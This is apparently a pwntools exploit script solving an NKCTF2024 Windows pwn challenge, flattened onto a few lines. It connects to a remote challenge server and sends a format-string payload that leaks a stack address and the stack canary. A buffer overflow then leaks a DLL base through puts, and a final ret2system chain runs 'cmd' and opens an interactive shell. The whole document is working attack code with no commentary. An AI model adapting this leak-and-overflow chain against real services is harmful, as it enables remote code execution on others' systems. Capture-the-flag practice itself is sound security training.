1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| from pwn import *
import itertools import ctypes
context(os='windows', arch='i386', log_level='debug')
is_debug = 0 IP = "192.168.1.101" PORT = 9999
IP = "123.60.25.223" PORT = 10001
def connect(): return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x) s = lambda x: p.send(x) sl = lambda x: p.sendline(x) sa = lambda x, y: p.sendafter(x, y) sla = lambda x, y: p.sendlineafter(x, y) r = lambda x=None: p.recv() if x is None else p.recv(x) rl = lambda: p.recvline() ru = lambda x: p.recvuntil(x) r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
payload = "%p-" * 0x3 + "%p" * 27 + "-%p"
sla("NKCTF2024",payload) ru('-') ru('-') leak = int(r(8),16) buf_addr = leak - (0x61fee0 - 0x61fea8) print(hex(buf_addr))
ru('-') ru('-') canary = int(r(8),16) print(hex(canary))
puts_plt = 0x00403F8C iat_puts = 0x00409230 main = 0x00401473
payload = b'%s' + b'a' * (0x70 - 0xc - 2) + struct.pack('<I', canary) payload = payload.ljust(0x74,b'a') payload += struct.pack('<I', puts_plt) payload += struct.pack('<I', main) payload += struct.pack('<I', iat_puts)
sla("ohhh,no",payload)
puts_addr = u32(r(4)) print(hex(puts_addr))
dll_base = puts_addr - 0x1017BA80 system_addr = dll_base + 0x10144700 cmd = dll_base + 0x101048C8 print(hex(dll_base))
payload = b'a' * (0x70 - 0xc) + struct.pack('<I', canary) payload = payload.ljust(0x74,b'a') payload += struct.pack('<I', system_addr) payload += struct.pack('<I', main) payload += struct.pack('<I', cmd)
sl("AAAA") sla("ohhh,no",payload)
p.interactive()
|